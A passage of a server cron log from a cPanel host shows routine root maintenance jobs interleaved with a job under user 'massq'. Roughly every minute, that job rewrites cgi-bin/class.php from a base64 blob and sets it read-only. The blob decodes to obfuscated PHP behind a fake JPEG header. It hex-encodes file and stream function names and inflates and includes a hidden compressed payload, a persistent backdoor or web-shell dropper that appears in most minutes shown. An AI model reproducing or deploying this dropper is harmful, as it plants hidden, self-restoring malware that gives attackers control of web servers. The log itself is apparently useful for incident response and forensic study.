chmod 444 "$fp")
Sep 13 01:40:01 server CROND[31813]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:41:01 server CROND[32649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:41:01 server CROND[32650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:41:01 server CROND[32651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:42:01 server CROND[630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:42:01 server CROND[631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:42:01 server CROND[632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:42:01 server CROND[635]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 01:43:01 server CROND[1020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:43:01 server CROND[1021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:43:01 server CROND[1022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:44:01 server CROND[1588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:44:01 server CROND[1589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:44:01 server CROND[1590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:45:01 server CROND[2009]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:45:01 server CROND[2011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:45:01 server CROND[2014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:45:01 server CROND[2012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:45:01 server CROND[2023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:45:01 server CROND[2025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:45:01 server CROND[2022]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:46:01 server CROND[2883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:46:01 server CROND[2884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:46:01 server CROND[2885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:47:01 server CROND[3278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:47:01 server CROND[3279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:47:01 server CROND[3280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:48:01 server CROND[3670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:48:01 server CROND[3671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:48:01 server CROND[3672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:49:01 server CROND[4152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:49:01 server CROND[4153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:49:01 server CROND[4154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:50:01 server CROND[4545]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:50:01 server CROND[4549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:50:01 server CROND[4547]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:50:01 server CROND[4550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:50:01 server CROND[4551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:50:01 server CROND[4548]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 01:50:01 server CROND[4554]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:50:01 server CROND[4553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:50:01 server CROND[4555]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:51:01 server CROND[5368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:51:01 server CROND[5369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:51:01 server CROND[5367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:52:01 server CROND[5750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:52:01 server CROND[5751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:52:01 server CROND[5752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
